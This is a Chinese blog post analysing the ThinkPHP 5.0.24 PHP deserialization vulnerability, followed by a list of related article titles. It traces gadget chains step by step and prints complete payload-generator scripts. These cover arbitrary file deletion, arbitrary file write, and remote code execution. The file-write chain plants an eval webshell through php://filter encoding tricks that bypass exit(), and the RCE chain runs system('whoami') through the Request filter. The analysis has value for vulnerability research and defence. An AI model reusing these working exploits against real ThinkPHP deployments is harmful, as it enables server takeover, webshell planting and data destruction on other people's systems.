TP 5.0.24反序列化漏洞分析
前言
很久没发过文章了,最近在研究审计链条相关的东西,codeql,ast,以及一些java的东西很多东西还是没学明白就先不写出来丢人了,写这篇tp的原因呢
虽然这个漏洞的分析文章蛮多了,但是还是跟着看了下,一方面是因为以前对pop链挖掘一直学的懵懵懂懂的 ctf的一些pop链能出,但是到了框架里面自己就是挖不出来,所以就想着自己挖下tp反序列化的链子来看看,另一方面是想思考学习下php挖掘利用ast手法去该怎么入手(虽然后面这个问题还没解决),所以就有了这篇文章。
如果有什么问题 欢迎师傅们批评指教,提建议。
正文:
下载地址:http://www.thinkphp.cn/donate/download/id/1279.html
任意文件读取
https://www.anquanke.com/post/id/239242#h2-5
这篇的原理我就不分析了:
原理就是:连接数据库导致的任意文件读取,这种手法常拿来做蜜罐。
反序列化
因为tp本身的反序列化需要二开才能使用,因此我们得把入口函数改为如下
application/index/controller/index.php的内容改为如下的
<?php
namespace app\index\controller;class Index
{public function index(){ $a = $_GET['string'];unserialize($a);}
}
set方法前
然后进行直接搜索反序列化的 __destruct或者是__wakeup,这里搜索__destruct
一个一个看,发觉Windows类如下
这不就是一个纯纯的任意文件删除且触发__tostring()函数
<?phpnamespace think\process\pipes;
class Windows
{/** @var array */private $files = ["../abc.php","b.txt"];//这里控制想删除的文件即可}
echo urlencode(serialize(new Windows));
?>
接着跟:因为file_exists触发了__tostring函数,因此直接接着跟__tostring函数
搜索得5个 一个一个跟过去
经过一个一个跟最后排除为如下
即从Model.php里面的__toJson()–>toArray()
toArrary()函数
具体的点 即典型变量–>函数找这种 且观察相关的变量是否可控 如果可控即可调用__call函数
这里最开始是思考可以调modelRelation和value参数进而去触发__call函数
先看modelRelation
modelRelation想要触发_call函数的几个条件
①this->append不为空且this->append as key => name
②method_exists(this,relation)存在这个方法
③method_exists(modelRelation, ‘getBindAttr’) 主要就是这个条件直接就把modelRelation触发__call给gg了
因为如果存在这个方法即必然$bindAttr = $modelRelation->getBindAttr();可以满足 即必然无法触发__call函数
再看value参数触发的条件
①this->append不为空且this->append as key => name
②method_exists(this,relation)
③method_exists(modelRelation, ‘getBindAttr’)
④$bindAttr
因此一个一个排查看能否满足这四个条件
第一个条件,因为append是我们自己定义的 因此这个我们可控,第一个条件可满足
第二个条件
method_exists(this, relation)即这个类中存在relation这个方法 且relation由name赋值给予的,即this->append=[‘该类中存在的方法名’];
满足这个即可,因为我们的relation后面还要赋值,因此最好找到可控的
一个一个方法找下去找到 两个满足条件的方法
自此第二个条件可满足,其这里选用的是getError()函数
第三个条件
method_exists($modelRelation, 'getBindAttr')
且由代码可知modelRelation由$this->relation()控制 而relation我们是可控的 因此我们只需要找到一个存在getBindAttr方法的且参数可控的类赋值给其即可
有一个OneToOne类中具有这个方法
且方法可控
但其为抽象类,因此我们直接找继承其的 找到两个相关类 随便选一个即可
这里选择的是BelongsTo这个类 this->error=new BelongsTo(); 赋值即可
第四个条件:
$bindAttr不为空 这个就更简单了
这个由$modelRelation->getBindAttr();方法控制这里的方法就相当于我们上面的$this->bindAttr参数
这个随便进行赋值下即可$this->bindAttr = ["test"=>"test"]; 第四个条件满足
自此value参数可触发到 在具体跟value由谁赋值,如果value可控即可完整造成触发_call函数
这里的value参数由$this->getRelationData($modelRelation)方法获取 且由上面分析可知 $modelRelation变量可控
跟进getRelationData方法
发觉有2种情况赋予value值 看第一种
需要满足三个条件
第一:$this->parent存在 且$this->parent 可控,才可可控value值
第二:$modelRelation->isSelfRelation()不满足
第三:get_class($modelRelation->getModel()) == get_class($this->parent)
第一个条件
由于这个我们可以自己定义可控,第一个条件满足
第二个条件:
$modelRelation->isSelfRelation()
由于这里的$modelRelation变量被我们赋值为了BelongsTo的因此我们要看BelongsTo类里面能否有这个方法
直接跟过去
发觉是Relation类且该类为抽象类
因此我们直接找继承
OneToOne也是继承的他 而我们的BelongsTo继承的是OneToOne的 且该函数是直接返回的selfRelation变量且这个变量是自定义的 因为相当于第二个条件我们可以满足 直接不定义这个变量即可满足
第三个条件:
get_class($modelRelation->getModel()) == get_class($this->parent)
和上面的是一个情况 这个getModel在Relation中可存在如下定义即query变量可控 且我们控制的类BelongsTo也可以满足这个条件
即我们也可以可控query变量因此我们只要找到一个类里面的getModel方法我们可控即可满足这个条件
在这里的
Query和ModelNotFoundException均可满足这个条件
这里我们选用的是ModelNotFoundException这个类
走到这里value触发__call()函数完全就可通
构造如下
<?phpnamespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{protected $append = [];protected $error;protected $parent;public function __construct(){$this->append=['getError'];$this->error=new BelongsTo();$this->parent=new 我们想控制的类必须跟ModelNotFoundException的model是一样的();}
}namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{protected $query;//去进行触发下一条链protected $bindAttr = [];public function __construct(){$this->query = new ModelNotFoundException();$this->bindAttr = ["test"=>"test"];//这里随便不为空即可}
}namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{protected $model;public function __construct(){$this->model=new 我们想控制的类();}
}
namespace think\model;
use think\Model;
class Merge extends Model{}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{private $files = [];public function __construct(){$this->files=[new Merge()]; }}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
?>
到这里后我们接着找__call函数 且这里记住由于上面的method为getAttr 这里的_call的method一定也得是我们getAttr的
直接搜索
这里大概的过一下其他的主要就是method不可控导致的其他的_call函数无法调用
①think\File
②think\Model
③think\Paginator的
且collection可控,name不可控,name不可控,name不可控,arguments可控
④think\Requet
一样的method不可控导致
⑥think\Yar
⑦db\Connection
类名方法均不可控
⑧db\Query
一样的原因
⑨think\model\Relation
⑩think\view\driver\Think
这里只有第五条个__call函数可以思考利用
think\Output的这个
因为参数固定了即直接调用block函数且参数为$args
因此我们重点接着跟block函数
这里到了handle,handle是一个我们可以控制的变量,因此这里可以拿来做一层跳板
搜索有write类的方法 找到12个相关的
这里就不每个都写出来了
重点就是Memcache方法和Memcached方法 里面的handler可控,造成可以在做一次跳板
set方法相关的15个
走到了这里就可以有两种思路拿shell了
前面的payload构造
<?phpnamespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{protected $append = [];protected $error;protected $parent;public function __construct(){$this->append=['getError'];$this->error=new BelongsTo();$this->parent=new Output();}
}namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{protected $query;//去进行触发下一条链protected $bindAttr = [];public function __construct(){$this->query = new ModelNotFoundException();$this->bindAttr = ["test"=>"test"];//这里随便不为空即可}
}namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{protected $model;public function __construct(){$this->model=new Output();}
}namespace think\console;
use think\session\driver\Memcached;
class Output{private $handle;//去触发Memcached的set,第一层跳板protected $styles = ["getAttr"];public function __construct(){$this->handle = new Memcached();}}namespace think\session\driver;
use think\cache\driver\File;
class Memcached{protected $handler = null;function __construct(){$this->handler=new 存在set方法的调用类();}}namespace think\model;
use think\Model;
class Merge extends Model{}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{private $files = [];public function __construct(){$this->files=[new Merge()]; }}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));?>
调用链:
toArray具体分析
因为append我们是可以可控的 因此重点关注value可控以及进入到value的三个条件即可
__call函数调用的原理
set方法后
任意文件写入
这个就是think\cache\driver\File.php文件的set方法导致的 这里面有个file_put_contents()方法
这里面文件名的获取方式:通过getCacheKey进行获取,且进行拼接options[‘path’]而name也可以等于options[‘prefix’] 因此文件名我们是完全可控的
但是内容是由data来的 data根据之前回溯可知是一个true变量 因此导致的问题就是内容是我们不可控的 当时因为走到了这里g了
但是往下走发觉
setTagItem这个方法中再次调用了file里面的set方法 且这里的set方法传进来的name是filename最后且赋值给了value参数 即导致上面的data是可控的了,因此只要满足执行setTagItem方法就可以导致任意文件写入了
条件即是
result,first为true,因为这里的result为写入内容的所以恒等于真,因此我们只需要把first整为存在即可
且又因为first由$this->tag和!is_file决定 且is_file我们可控,因此我们只需要满足tag为真即可,且这个tag是我们可控的因此我们是可以满足调用setTagItem方法的
走到了这里就是绕exit();方法了
最开始想不明白怎么绕
查了下相关的资料发觉可以利用伪协议来绕过
原理是因为
当file_put_contentes()的参数内容伪造协议的时候,默认会把内容按照这些编码,编码后去进行写入文件,从而绕过exit();函数。
liunx和windows对应的payload
linux绕过payload
php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>
windows的
$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
自此一个完整的任意文件写入的链子就有了 且加入输入文件名的
<?phpnamespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{protected $append = [];protected $error;protected $parent;public function __construct(){$this->append=['getError'];$this->error=new BelongsTo();$this->parent=new Output();}
}namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{protected $query;//去进行触发下一条链protected $bindAttr = [];public function __construct(){$this->query = new ModelNotFoundException();$this->bindAttr = ["test"=>"test"];//这里随便不为空即可}
}namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{protected $model;public function __construct(){$this->model=new Output();}
}namespace think\console;
use think\session\driver\Memcached;
class Output{private $handle;//去触发Memcached的链protected $styles = ["getAttr"];public function __construct(){$this->handle = new Memcached();}}namespace think\session\driver;
use think\cache\driver\File;
class Memcached{protected $handler = null;function __construct(){$this->handler=new File();}}
namespace think\cache;
abstract class Driver
{}namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{protected $tag;protected $options=[];public function __construct(){$this->options = ['expire' => 0,'cache_subdir' => false,'prefix' => '','path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php','data_compress' => false,];$this->tag = true;}public function get_filename(){$name = md5('tag_' . md5($this->tag));$filename = $this->options['path'];$pos = strpos($filename, "/../");$filename = urlencode(substr($filename, $pos + strlen("/../")));return $filename . $name . ".php";}}namespace think\model;
use think\Model;
class Merge extends Model{}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{private $files = [];public function __construct(){$this->files=[new Merge()]; }}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));use think\cache\driver\File;
echo "\n";
$fx = new File();
echo $fx->get_filename();
?>
调用链:
RCE
set方法之前和前面一样set方法后有区别了
set选择的时候也可以选择
think\cache\driver\Memcache.php或者think\cache\driver\Memcached.php这两个方法
里面有个has($name)方法
当tag为真时进入到has()方法中去,因此这里的tag需要赋一个值不能为空
重点就是这里了 这里的handler又可以做一个跳板 且调用的是get方法 走到这里就可以走tp的经典request->get导致rce了
经典回调函数导致RCE
<?phpnamespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{protected $append = [];protected $error;protected $parent;public function __construct(){$this->append=['getError'];$this->error=new BelongsTo();$this->parent=new Output();}
}
namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{protected $query;//去进行触发下一条链protected $bindAttr = [];public function __construct(){$this->query = new ModelNotFoundException();$this->bindAttr = ["test"=>"test"];//这里随便不为空即可}
}namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{protected $model;public function __construct(){$this->model=new Output();}
}namespace think\console;
use think\session\driver\Memcached;
class Output{private $handle;//去触发Memcached的链protected $styles = ["getAttr"];public function __construct(){$this->handle = new Memcached();}}
namespace think\cache;
abstract class Driver{}namespace think\session\driver;
use think\cache\driver\Memcache;//这里是write的方法
use think\cache\Driver;
class Memcached { protected $handler;public function __construct(){$this->handler = new Memcache();}}
namespace think\cache\driver;
use think\Request;
class Memcache{protected $tag = "test";protected $handler;//触发Request的链protected $options = ['prefix'=>'goddemon/'];public function __construct(){$this->handler = new Request();}
}namespace think;
class Request{protected $get = ["goddemon"=>'whoami'];protected $filter;public function __construct(){$this->filter = 'system';}
}
namespace think\model;
use think\Model;
class Merge extends Model{}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{/** @var array */private $files = [];public function __construct(){$this->files=[new Merge()]; }}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
?>
打即可
这里有个坑就是 protected $options 必须需要赋值且和下面的get方法的名字必须是一样的
这里当时debug了一会
原理如下:
错误的示范:
当如这样时
因为name最后会进入到input方法中去进行切割,查找是否存在/ 存在的即分割然后赋予list 否则则type=‘s’
这也是为什么/不能少的原因
然后进行判断,判断是否存在data[data[data[val]即$data[name]即我们传入的name值,如果不存在则直接返回了 导致到不了filtervalue函数 进而无法rce 因此我们必须控制这里的prefix和get里面的为相同的
正确的即rce链中的方式
调用链:
TP 5.0.24反序列化漏洞分析相关推荐
- thinkphp5.0.24反序列化漏洞分析
thinkphp5.0.24反序列化漏洞分析 文章目录 thinkphp5.0.24反序列化漏洞分析 具体分析 反序列化起点 toArray getRelationData分析 $modelRelat ...
- Fastjson 1.2.22-24 反序列化漏洞分析
目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...
- Fastjson 1.2.68版本反序列化漏洞分析篇
点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | ale_wong@云影实验室 来源 | htt ...
- tomcat源码分析_CVE-2020-9484 tomcat session反序列化漏洞分析
作者:N1gh5合天智汇 title: CVE-2020-9484 tomcat session反序列化漏洞分析 tags: CVE,Tomcat,反序列化 grammar_cjkRuby: true ...
- MySQLJDBC反序列化漏洞分析
JDBC反序列化漏洞 Java数据库连接,(Java Database Connectivity,简称JDBC)是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,提供了诸如查询和更新数 ...
- Fastjson 1.2.24 反序列化漏洞复现
Fastjson 1.2.24 反序列化漏洞复现 1.漏洞介绍 FastjsonEngine是其中的一个JSON处理引擎.Fastjson是其中的一个基于Java的JSON解析器/生成器. Pippo ...
- 16-PHP代码审计——Typecho1.0.14反序列化漏洞
Typecho是一个基于php5开发的开源博客cms系统,,在v1.0.14版本中存在反序列化漏洞,主要是install目录下的install.php文件内使用了unserialize函数反序列化,而 ...
- commons-collections反序列化漏洞分析——远程代码执行
commons-collections反序列化漏洞分析--远程代码执行 命令执行以及通过反射进行命令执行 这里先说说java里面的命令执行.其实java的命令执行和PHP类似,PHP一般通过eval和 ...
- 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)--文件包含漏洞
前言 最近几天在给协会的学弟讲代码审计入门相关内容,便找了这个熊海CMS_V1.0来教学,结果在这个过程中遇到蛮多问题的,于是这篇文章详细记录了对熊海CMS_V1.0从搭建到审计与漏洞分析的过程,其中 ...
最新文章
- 计算机与维修专业学校,计算机应用与维修学校录取分专业可靠
- 澎思科技马原:AI为基,IoT为翼,加速人工智能普惠丨MEET2021
- 【转】为什么要写技术博
- android activity调用Adapter方法刷新列表UI,RecyclerView.Adapter
- 如何让 python 处理速度翻倍?内含代码
- 德国精品软件推荐 压缩软件 WINRAR 个人版终于免费了。
- java开源springboot项目_使用Spring Boot的10多个免费开源项目
- android mm 修改路径,Android 编译系统模块
- 全网年份最全-中国环境统计年鉴 1998-2021年
- STM8S(stm8s003F) ADC AIN7的使用
- Spring Cloud Loadbalancer
- SSM(spring.struts2.mybatis)注解式开发步骤
- IDEA javadoc快捷键
- 学弟学妹们,如果这五道题都不会,就不要出去面试C++了
- 解决get传参有数组问题
- 企业微信 php回调模式,老师,我的是微信企业号,开启回调模式一直不行,总提示 请求该url失败...
- 视频转动漫软件有哪些?小编亲测6款工具,1秒穿越漫画场景
- 编译原理第四章练习题
- vue实现数字动态翻牌器
- CIA301 Object 1016h: Consumer heartbeat time